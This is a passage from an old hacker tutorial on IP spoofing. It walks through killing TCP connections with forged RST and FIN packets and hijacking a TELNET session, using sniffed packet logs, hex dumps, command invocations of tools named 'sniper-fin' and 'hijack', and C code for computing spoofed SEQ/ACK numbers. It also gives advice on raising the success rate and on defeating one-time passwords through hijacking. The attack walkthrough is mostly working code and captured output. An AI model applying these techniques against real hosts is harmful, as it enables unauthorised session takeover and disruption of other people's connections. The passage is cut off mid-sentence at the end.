ip-spoof.txt

一些关于IP欺骗的代码

   SEQ (hex): 57E1F2A8   ACK (hex): B8BD767B
   FLAGS: -A----   Window: 3400
   (data removed because irrelevant)

4) further data (B->A)

TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1810
   SEQ (hex): B8BD767B   ACK (hex): 57E1F2A8
   FLAGS: -AP---   Window: 2238
   (data removed because irrelevant)

5) ACK of it (A->B)

TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1810-111.11.11.11.23
   SEQ (hex): 57E1F2A8   ACK (hex): B8BD7691
   FLAGS: -A----   Window: 3400

6) Now we get 2 RST packets. How do you explain that? Well, the first reset 
   packet has been buffered somewhere on our system, because the ethernet 
   segment was busy when we wanted to send it. This is the 'unexpected 
   thing' I discussed above, here we are lucky, the data stream cooled down 
   so fast.
   When it doesn't cool down so fast, we could miss our RST (or the 
   connection will be killed a little later then when we wanted), you'll see 
   some idea's on how to fix that problem.

TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1810
   SEQ (hex): B8BD7679      FLAGS: ---R--


TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1810
   SEQ (hex): B8BD7691      FLAGS: ---R--
   (This was the packet that killed the connection)

Discussion of the program:

The discussion here is a bit weird , that is because 'sniper-rst.c' is 
not designed to be an optimal killer, merly to be an example.
We have the problem of speed here. We miss some packets what causes those 
resends. So we would design a better 'sniper' if we do the following:
	- use blocking IO (not necessarilly, because the RST killer would 
                          loose some of it's beauty (looping), this is dealt 
                          with in the FIN killer example. Blocking is a 
                          little faster when a lot of packets come after 
                          each other.)
        - multi-packet firing... fire more packets with incremented SEQ. 
	  (this is commented in the source) 
        - waiting for a pure ACK packet (no data), because otherwise you 
          risk to much of getting mid transmission and not being fast enough.
          (disadvantage is the 'waiting period' before the connection is 
          killed)         

NOTE these examples were done on non-loaded networks, with non-loaded 
     servers, what makes it a worst case scenario for speed problems.

4.3.2 Closing a connection (FIN)
--------------------------------

Concept:
An other flag is FIN and says: "no more data from sender".
This flag is used when closing a connection down the normal legit way. So 
if there was a way to make a packet that is accepted by one of the two 
hosts, this host would believe the 'sender' didn't have any data left.
Following (real) packets would be ignored as they are considered bogus.
That's it, because we can sniff the current SEQ/ACK of the connection we 
can pretend to be either host A or B, and provide the other host with 
CORRECT packetinformation, and an evil FIN flag.
The beauty of it all is, that after a FIN is send the other host always 
replies with one if it is accepted, so we have a way to verify our 
killing, and can be 100% sure of success (if for some reason we missed a 
SEQ or ACK, we can just resend).
RST killing is more popular and is prefered, but I've put this in as an 
example, and I like it myself.


An actual attack:
(These are real sniffed packets, although IP numbers of hosts were changed)
host A : 166.66.66.1
host B : 111.11.11.11
(S on same subnet as A)

1) connection is running....
   sniper is started on host S as 'sniper-fin 166.66.66.1 23 111.11.11.11 1072' 
   and waits for a packet to take action (we need to get SEQ/ACK)
   (mind you switching host A and B would be the same, only S would be 
    impersonating A instead of B)
   suddenly a packet arrives... (A->B)

TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072
   SEQ (hex): 19C6B98B   ACK (hex): 69C5473E
   FLAGS: -AP---   Window: 3400
Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072
 45 E 00 . 00 . 2A * 30 0 5E ^ 40 @ 00 . 40 @ 06 . 5E ^ AD . 9D . C1 . 45 E 33 3
 9D . C1 . 2B + 0D . 00 . 17 . 04 . 30 0 19 . C6 . B9 . 8B . 69 i C5 . 47 G 3E >
 50 P 18 . 34 4 00 . 3A : 61 a 00 . 00 . 0D . 0A .
                                         ~~~~~~~~~ > 2 data bytes

2) sniper detected it, and sends a bogus packet. (S as B -> A)
   We calculate our SEQ as: ACK of (A->B) packet
   We calculate our ACK as: SEQ of (A->B) packet + datalength of that packet
                            (19C6B98B + 2 = 19C6B98D)
   (so we tell A, we received the last packet, and will not transmit 
   further data)

TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.1072-166.66.66.1.23
   SEQ (hex): 69C5473E   ACK (hex): 19C6B98D
   FLAGS: -A---F   Window: 7C00
   (data removed because irrelevant)

3) host A now says: 'okay, you end the session, so here is my last data'
   (A->B)

TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072
   SEQ (hex): 19C6B98D   ACK (hex): 69C5473E
   FLAGS: -AP---   Window: 3400
   (data removed because irrelevant)

TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072
   SEQ (hex): 19C6B998   ACK (hex): 69C5473F
   FLAGS: -A----   Window: 3400
   (data removed because irrelevant)

4) host A now has flushed its buffer and on his turn FIN's the connection.
   (A->B)
   sniper, intercepts this packet and now knows the hosts fell for the 
   spoof and the killing was a success!
   (host A will no longer accept any data)

TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072
   SEQ (hex): 19C6B998   ACK (hex): 69C5473F
   FLAGS: -A---F   Window: 3400
   (data removed because irrelevant)

5) We impersonated B, making A believe we had no further data. But B 
   doesn't know that and continues to send packets.
   (B->A)
   host A has that connection closed, and thus thinks the real packets of 
   B are spoofed (or at least bogus)! So host A sends some reset packets 
   (RST).

TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.1072-166.66.66.1.23
   SEQ (hex): 69C5473E   ACK (hex): 19C6B98D
   FLAGS: -A----   Window: 3750
   (data removed because irrelevant)

TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072
   SEQ (hex): 19C6B98D      FLAGS: ---R--
   (data removed because irrelevant)

6) This goes on for a couple of packets.


Discussion of the program (numbers correspond with those of 'An Actual 
Attack'):

1) stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,ACK,10);
   if(stat==-1)  {printf("Connection 10 secs idle... timeout.\n");exit(1);}
 
   We use wait_packet on a non blocking socket. This way we can enable a 
   10 seconds timeout. This functions returns when the correct packet 
   has been delivered (or timeout).

2) sp_seq=pinfo.ack;
   sp_ack=pinfo.seq+pinfo.datalen;
   transmit_TCP (fd_send, NULL,0,0,0,DEST,DEST_P,SOURCE,SOURCE_P,
						      sp_seq,sp_ack,ACK|FIN);

   We calculate a spoofed SEQ/ACK, and fire off a fake FIN packet. As we 
   don't send any data with it, our buffer is set to NULL and datalength 
   to 0.
   NOTE together with FIN, you need to enable ACK.

3) N/A

4) stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,FIN,5);
   if(stat>=0)
        {printf("Killed the connection...\n");
        exit(0);}

   We wait for a FIN packet (note the FIN in wait_packet). We use a 5 
   sec. timeout, if the function returns and stat>=0 (-1 on timeout), we 
   know our attempt was successfull.

5) N/A

6) N/A

NOTE We can have the same problem here as with the RST killer. But didn't 
     have it here, because the packet we responded upon was the end of a 
     data stream (in fact it was an echo from a shell command)

4.3.3 Improving 
---------------

Except from multipacket firing, it is advised to launch 2 attacks (one in 
both ways). This illiminates one side oriented connections to be handled 
optimally. I think of things like downloading data, which is a one way 
data-flow, it is much easier sending a RST from the (spoofed) receiver to 
the sender, then the other way around.
Those 2 attacks could both impersonate host A and B, and thus giving is 4 
times more chance of a succesfull kill.
I'll leave further experimenting up to you (use your imagination to handle 
different situations).

4.4 Connection Hijacking
------------------------
Setup:
          host A <------X------------------------->host B
                        |      A,B have a TCP connection running (TELNET)
          host S <------/      A,S on same subnet

Concept:
(suppose a TELNET from A (client) to B (server))
TCP separates good and bogus packets by their SEQ/ACK numbers i.e. B 
trusts the packets from A because of its correct SEQ/ACK numbers. 
So if there was a way to mess up A's SEQ/ACK, B would stop believing A's 
real packets.
We could then impersonate to be A, but using correct SEQ/ACK numbers 
(that is numbers correct for B).
We would now have taken over the connection (host A is confused, B thinks 
nothings wrong (almost correct, see 'actual attack'), and S sends 
'correct' data to B). 
This is called 'Hijacking' a connection. (generally hijacking a TELNET session,
but same could be done woth FTP, RLOGIN, etc...)
How could we mess up A's SEQ/ACK numbers? Well by simply inserting a data 
packet into the stream at the right time (S as A->B), the server B would 
accept this data, and update ACK numbers, A would continue to send 
it's old SEQ numbers, as it's unaware of our spoofed data. 

Use: 
I allready hear you wiseguys yelling: "Hey dude, why hijack a connection 
if you can sniff those packets anyway??"
Well, anybody heared of One Time Passwords, Secure Key?? Case closed.... 
(S/Key: server challenges client, client and server calculate a code from 
the challenge and password, and compare that code. The password itself is 
never send on the cable, so you can't sniff sh!t).
(OTP: server has a list of passwords, once one is used, it is destroyed, 
so sniffing gets you a password that has 'just' expired ;)
(ALL types of identification that happen at connection (encrypted or not, 
trusted or not), and don't use encrypted data transfer, are vulnerable to 
'hijacking'.)

An actual attack:
(These are real sniffed packets, although IP numbers of hosts were changed)
(suppose a TELNET from A (client) to B (server))
host A : 166.66.66.1
host B : 111.11.11.11
(S on same subnet as A)

1) connection running... 
   we look with sniffit, and see he's busy in a shell, we start 'hijack' 
   on host S as 'hijack 166.66.66.1 2035 111.11.11.11'
   a packet containing from (A->B) is detected... hijack takes action...
   (A->B)

TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
   SEQ (hex): 5C8223EA   ACK (hex): C34A67F6
   FLAGS: -AP---   Window: 7C00
Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
 45 E 00 . 00 . 29 ) CA . F3 . 40 @ 00 . 40 @ 06 . C5 . 0E . 9D . C1 . 45 E 3F ?
 9D . C1 . 2A * 0B . 04 . 10 . 00 . 17 . 5C \ 82 . 23 # EA . C3 . 4A J 67 g F6 .
 50 P 18 . 7C | 00 . 6D m 29 ) 00 . 00 . 6C l
                                         ~~~~

2) host B (server) echo's that databyte (typing 'l' in a bash shell!!!)
   (you gotta know what you are doing)
   (B->A)   

TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
   SEQ (hex): C34A67F6   ACK (hex): 5C8223EB
   FLAGS: -AP---   Window: 2238
Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
 45 E 00 . 00 . 29 ) B5 . BD . 40 @ 00 . FC . 06 . 1E . 44 D 9D . C1 . 2A * 0B .
 9D . C1 . 45 E 3F ? 00 . 17 . 04 . 10 . C3 . 4A J 67 g F6 . 5C \ 82 . 23 # EB .
 50 P 18 . 22 " 38 8 C6 . F0 . 00 . 00 . 6C l
                                         ~~~~

3) A simple ACK from host A to B responding to that echo. Because we know 
   this can come, and we know a simple ACK doesn't contain data, we don't 
   need this for SEQ/ACK calculation.

TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
   SEQ (hex): 5C8223EB   ACK (hex): C34A67F7
   FLAGS: -A----   Window: 7C00
   (data removed because irrelevant)

4) Now we impersonate further data (following packet 1). (S as A -> B)
   We calculate SEQ/ACK out of packet 1, NOT out of the 'echo' from B, 
   because we have to be as fast as possible, and packet 2 could be slow.
   We send some backspaces and some enters. To clean up the command line.
   We will probably still get some error message back from the shell.
   But we handle that too! (see sourcecode)

TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
   SEQ (hex): 5C8223EB   ACK (hex): C34A67F6
   FLAGS: -AP---   Window: 7C00
Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
 45 E 00 . 00 . 32 2 31 1 01 . 00 . 00 . 45 E 06 . 99 . F8 . 9D . C1 . 45 E 3F ?
 9D . C1 . 2A * 0B . 04 . 10 . 00 . 17 . 5C \ 82 . 23 # EB . C3 . 4A J 67 g F6 .
 50 P 18 . 7C | 00 . AE . F5 . 00 . 00 . 08 . 08 . 08 . 08 . 08 . 08 . 08 . 08 .
 0A . 0A .

5) This is the echo of our spoofed data. Look at ACK. (B->A)
   5C8223F5 = 5C8223EB + 0A (this is how we detect that the spoof was a 
   success)   
   NOTE that at this point the connection is ours, and A's SEQ/ACK 
        numbers are completely f#cked up according to B.   

TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
   SEQ (hex): C34A67F7   ACK (hex): 5C8223F5
   FLAGS: -AP---   Window: 2238
Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
 45 E 00 . 00 . 3C < B5 . BE . 40 @ 00 . FC . 06 . 1E . 30 0 9D . C1 . 2A * 0B .
 9D . C1 . 45 E 3F ? 00 . 17 . 04 . 10 . C3 . 4A J 67 g F7 . 5C \ 82 . 23 # F5 .
 50 P 18 . 22 " 38 8 26 & 7C | 00 . 00 . 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H
 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H 0D . 0A . 0D . 0A .

6) Hijack will now try to get on track of SEQ/ACK numbers again, to send 
   the data we want to be executed.
   NOTE each time a packet 'out of numbering' arrives the host should 
        answer with correct SEQ/ACK, this provides us with the certainty 
        that a lot of packets are going to be send with correct (and not 
        changing) SEQ/ACK nrs. (this is where the mechanism of getting our 
        numbers back straight is based upon) 
   NOTE it's at this point the real TELNET client's session hangs, most